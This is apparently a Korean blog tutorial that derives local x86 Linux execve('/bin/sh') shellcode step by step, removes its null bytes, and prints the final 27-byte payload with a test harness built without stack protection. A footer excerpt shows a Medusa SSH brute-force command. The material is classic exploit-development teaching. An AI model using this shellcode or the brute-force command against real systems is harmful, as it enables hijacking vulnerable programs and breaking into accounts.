기본 콘텐츠로 건너뛰기

쉘코드 만들기 강좌

1. 쉘코드 프로그래밍 하기

  1. void main()
  2. {
  3.         execve("/bin/sh",NULL,NULL);
  4. }
  5. // compile : gcc -o mkshell mkshell.c -static

단순히 리눅스 쉘을 실행시켜주는 프로그램인데, 우리에게 필요한건 저 쉘을 실행시켜주는 기계어 루틴입니다.
그리고 컴파일할때 반드시 -static 옵션을 주고 컴파일하세요!!
컴파일한후에, gdb 명령어로 실행시켜줍니다.
그리고 gdb의 disas 명령어로 execve() 루틴을 분석해보겠습니다.

2.쉘코드 분석하기
execve 함수는 위와같은 어셈블리 코드로 이루어져있군요.
분석을 해보도록 하겠습니다.

  1. 0x0804e723 <execve+3>:  mov    0x10(%ebp),%edx // 세 번째 파라미터
  2. 0x0804e726 <execve+6>:  push   %ebx
  3. 0x0804e727 <execve+7>:  mov    0xc(%ebp),%ecx  // 두 번째 파라미터
  4. 0x0804e72a <execve+10>: mov    0x8(%ebp),%ebx  //문자열의 주소, 첫번째파라미터
  5. 0x0804e72d <execve+13>: mov    $0xb,%eax
  6. 0x0804e732 <execve+18>: int    $0x80

그러니깐.. 3개의 파라미터("/bin/bash", NULL,NULL)을 인자로 주고, eax 레지스터에 0xb를 넣은다음에, 인터럽트 명령어 int 0x80을 실행시켜주면 execve() 함수가 실행되는거였군요!! 
그럼 어셈블리코드를 뽑아서 다시 컴파일 해보도록하겠습니다.

3. 쉘코드 뽑아내기

  1. #include <stdio.h>
  2.  
  3. char buf[] = "/bin/sh";
  4.  
  5. void main()
  6. {
  7.         printf("%p\n",buf);
  8.         __asm__("mov $0x0, %edx");
  9.         __asm__("mov $0x0, %ecx");
  10.         __asm__("mov $0x804a014, %eax");        //buf의 주소
  11.         __asm__("int $0x80");
  12. }
  13. /* compile: gcc -o shellcode shellcode.c

저기서 0x804a014 라는 주소는 buf 문자열버퍼의 주소입니다. ASLR을 해제한후에 자신의 프로그램에 잡힌 buf의 주소를 지정해주세요. 그런데 문제점이 하나 발생했습니다. 쉘을 실행시켜야할 문자열("/bin/sh")주소는 프로그램마다, 운영체제 버전마다 다를수 있습니다.
이에 대한 해결책으로는 call 어셈블리를 사용하면 됩니다.  
아래와같이 어셈블리코드를 짜주세요. (단 확장자를 .s 로할것)
  1. .global main
  2. main:
  3.         jmp strings #strings 주소부터 시작됨
  4. start:
  5.         movl $0xb, %eax
  6.         movl $0x0, %edx
  7.         movl $0x0, %ecx
  8.  
  9.         popl %ebx  #문자열의 주소가 pop되어 ebx에 저장됨
  10.         int $0x80
  11.  
  12. strings:
  13.         call start #start를 호출하면서 "/bin/sh"의 주소가 push됨
  14.         .string "/bin/sh"
  15. # compile : gcc -o mkshell mkshell.s

이코드를 컴파일후 나온 기계어를 objdump 유틸을 사용해서 기계어만 뽑아내도록 하겠습니다.


뽑아내니 아래와같은 헥스코드 문자열이 나오는군요

"\xb8\x0b\x00\x00\x00"
"\xba\x00\x00\x00\x00"
"\xb9\x00\x00\x00\x00"
"\x5b"
"\xcd\x80"
"\xe8\xe9\xff\xff\xff\x2f"
"/bin/sh\x0";

이코드를 실행하도록 해보겠습니다.

  1. char buf[] =
  2. "\xb8\x0b\x00\x00\x00"
  3. "\xba\x00\x00\x00\x00"
  4. "\xb9\x00\x00\x00\x00"
  5. "\x5b"
  6. "\xcd\x80"
  7. "\xe8\xe9\xff\xff\xff\x2f"
  8. "/bin/sh\x0";
  9.  
  10. void main()
  11. {
  12.         int *ret;
  13.         ret = (int*)&ret +2;
  14.         (*ret) = (int)buf;
  15.        
  16. }
  17. /* compile : gcc -o shellcode shellcode.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


실제 데이터를 입력할때는 저위에 "\xb8\x0b\x00~~ 의 기계어를 넣어주는 것입니다.
그런데 또 문제점이 하나 생겼습니다. 

4. 널('\0') 바이트 제거하기
 
 문제점이 뭐냐하면 쉘코드 내부에 널('\x00') 바이트가 포함되었다는 것입니다.
바로 strcpy, gets, sprintf 등의 버퍼오버플로우 발생 함수는 널바이트를 끝으로 데이터복사를 끝낸다는 것입니다. 그러니까 우리가 쉘코드를 제대로 넣기 위해서는 널바이트를 반드시 제거해야합니다.
 여기서 NULL문자가 나오는 명령어로 대표적인것이 movl 명령어입니다.
이는 xor를 사용하면 간단히 해결할수 있습니다. mov $0x0, %ecx를 xor %ecx, %ecx로 바꾸어주면 ecx는 0으로 초기화 됩니다. 더군다나 쉘코드의 크기도 작아집니다 mov는 5바이트만 먹는반면, xor는 2바이트면 충분합니다.
eax에 0x0b를 집어넣는것은 우선 eax를 xor로 0으로초기화하고 movb 0x0b, %al로 바꾸어주면 기계어에서 널문자가 사라집니다.
아래와 같이 개선해서 다시 코딩해주었습니다.

  1. .global main
  2. main:
  3.         jmp strings #strings 주소부터 시작됨
  4. start:
  5.         #movl $0xb, %eax
  6.         xor %eax, %eax
  7.         #movl $0x0, %edx
  8.         xor %edx, %edx
  9.         #movl $0x0, %ecx
  10.         xor %ecx, %ecx
  11.         movb $0xb, %al
  12.  
  13.         popl %ebx
  14.         int $0x80
  15.  
  16. strings:
  17.         call start #start를 호출하면서 "/bin/sh"의 주소가 push됨
  18.         .string "/bin/sh"
  19. # compile : gcc -o mkshell mkshell.s

위의 코드를 컴파일 해서 objdump로 기계어를 뽑아내보겠습니다.

뽑아낸 쉘코드는
"\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x0";
군요!!

  1. char buf[] =
  2. "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x0";
  3.  
  4. void main()
  5. {
  6.         int *ret;
  7.         ret = (int*)&ret +2;
  8.         (*ret) = (int)buf;
  9. }
  10. // compile: gcc -o shellcode2 shellcode2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack

뽑아낸 쉘코드를 컴파일해서 실행해보세요. (27바이트 쉘코드)


쉘코드가 잘 실행되고 있군요!!

5. 마치며

 지금까지 간단한 쉘코드를 작성하는 방법을 알아보았습니다. 지금은 로컬 쉘코드를 만들었는데, 공격자의 목적에따라 다양한 쉘코드를 만들수 있습니다. 대표적인 예가 리버스텔넷 쉘코드, 바인드 쉘코드, 특정 사용자 추가 쉘코드 등등이 있을수 있는데 위와 같은 방법을 통해 작성되게 됩니다.

댓글

이 블로그의 인기 게시물

SSH 크랙 , 보안 :: 메두사(Medusa) [소개, 사용법 ] [패스워드 크래킹]

외부에서 서버를 관리하기 위해서는 Telnet 과 같은 원격 쉘을 이용하게 됩니다. 이런 원격 쉘은 시스템에 직접 접근할수 있기 떄문에 특별한 관리와 보안이 필요합니다. 그래서 나온것이 SSH 바로 보안 쉘 입니다. 기본적으로 이동하는 패킷이 암호화 처리 되기 떄문에 TELNET보다는 매우 안전하다고 볼수 있습니다. 오늘은 이 SSH를 크랙하는 방법과 대책에 대해서 약간 알아보겠습니다. 이번에 소개할 툴은 메두사 입니다. 메두사는 Broute Force  공격에 사용되는 툴입니다. 설치 데비안계열 ( 데비안 , Ubuntu , 쿠분투 주분투 등등) 에서는 apt-get install medusa 로 간단하게 설치 할 수 있습니다. 메두사로 SSH서버를 크랙하는 방법에 대해 알아보겠습니다. 메두사의 메뉴얼입니다. 구조는 간단합니다. 상대 SSH서버를 확인한 후에 메두사로 무차별 대입공격을 시도합니다. 물론 상대 시스템에는 로그가 남을수 있겠지요.  일단 실험에 쓰일 노트북(공격자) 데스크탑(피해자) 입니다. 공격자 OS : Debian Net : wlan0 IP   : 192.168.0.26 피해자 OS : BackTrack4 Net : eth0 IP   : 192.168.0.3 ssh :  OpenSSh ( SSH1) 실험에 쓰일 피해자(backTrack)입니다.  현재 SSH서버를 가동하고 아무작업없이 대기중입니다. 공격자는 포트스캐너와 각종 툴들을 이용해 정보를 수집후  피해자가 SSH서버를 이용한다는것과 OpenSSH(SSH1)을 사용한다는 것을 알아냇다는 전제하에  시작하겠습니다. 공격자는 메두사 툴을 이용해 BruteForce공격을 시작합니다. medusa -h 192.168.0.3 -u root -P /home/noon/NOON/pass.txt -M ssh 사용된 옵션을 살펴 보자면 -h   :   호스트 주소입니다.  고로    타켓 주소 -u   :   크랙할 유저의 이름입니다.     유저 목록을 파일로 만들어서 사용할

OllyDbg 64bit 실행방법

OllyDbg 1.1 은 기본적으로 64bit 환경을 지원하지 못합니다. 책의 디버깅 실습은 거의 대부분 OllyDbg 를 이용해서 진행됩니다.  그러나 OllyDbg 1.1 은 64bit 환경을 지원하지 못합니다.  <그림 1. Windows 7 64bit 에서 OllyDbg 1.1 실행시 예외 발생> 64bit OS 에서 "2장 Hello World 리버싱" 실습 예제 파일 HelloWorld.exe 를 OllyDbg 1.1 로 실행시키면 <그림 1>과 같이 예외가 발생하면서 ntdll.dll 모듈 영역의 코드에서 멈춰버립니다. (이것은 OllyDbg 1.1 의 버그입니다.) 64bit 환경에서 OllyDbg 사용할 수 있는 2 가지 방법 #1. 64bit OS + OllyDbg 2.0 OllyDbg 2.0 버전에서는 64bit에서 정상 실행 되지 않는 버그가 수정되었습니다. 다운로드 링크 :  http://www.ollydbg.de/odbg200.zip * 참고 최신 버전 OllyDbg 2.01 beta 2 는 실행 과정에 약간의 문제가 있습니다. 문제가 해결될 때까지는 OllyDbg 2.0 을 사용해 주시기 바랍니다. 위 링크에서 파일을 다운받아 압축을 해제한 후 실행하면 <그림 2> 와 같은 화면이 나타납니다. <그림 2 - Windows 7 64bit 에서 OllyDbg 2.0 으로 HelloWorld.exe 를 띄운 화면> <그림 2>의 화면을 책의  <그림 2.3>  처럼 보이게 하려면 다음과 같이 작업해 주시면 됩니다. 1) 내부의 CPU 윈도우를 최대화 시킵니다. 2) Code/Register/Dump/Stack Window 의 폰트를 변경합니다.    (각각의 창에서 마우스 우측 메뉴 - Appearance - Font - System f

인터넷 웹페이지 디버깅 피들러(fiddler) 사용법

인터넷 디벌깅 툴 피들러 입니다. 개발자들은 인터넷 디버깅 툴을 많이 사용하고 있는데요 인터넷 익스플러워 , 사파리 구글크롬등 디버깅 툴은 내장되어 있습니다.  하지만 원하는 값을 얻기 어렵거나 사용하기 어려운 점도 있습니다. 그래서 사용하기도 간편하고 필요한 기능도 많도 원하는 값을 쉽게 확인 할수 있는 디버깅 툴을 소개 해드리려 합니다. 알고 계시는 분도 많겠지만 피들러 (fiddler) 라는 툴입니다.  피들러에 대하 알아보도록 하겠습니다.  피들러(Fiddler) 설치 피들러 설치를 하기 위해 아래 사이트에 접속합니다.   http://www.telerik.com/fiddler 사이트에 접속하시면 FreeDownload 버튼이 보입니다. 클릭을 해서 피들러 설치를 진행합니다. ▶ 피들러는 닷넷 프레임워크를 사용하는데요 window 7 이상 제품군이시면  Fiddler for NET4을 선택하시고 미만이면 .net2를 선택 하세요  이제 Download Fiddler를 선택합니다.  ▶ 피들러 설치 진행화면이 나옵니다. I Agree를 클릭합니다.    ▶ 설치할 폴더를 선택 후 Install을 클릭합니다.    ▶ 설치가 완료되면 Close 를 클릭합니다.    ▶ 설치가 완료되면 브라우저를 새로 실행 하시고 도구> Fiddler를 선택합니다. 도구메뉴가 안보이시면 Alt를 누르시면 보입니다.    ▶ 우측에도 피들러 메뉴가 있습니다.  도구를 클릭 후 피들러를 클릭합니다.   ▶ 실행이 되면 아래와 같은 화면이 나오는데요  좌측 하든을 보시면 Capturing 가 보입니다. 캡쳐를 진행하는 중이구요 키보드중 F12키를 누르면 캡쳐 중지 다시 F12키를 누르면 캡쳐가 진행됩니다.  원하는 부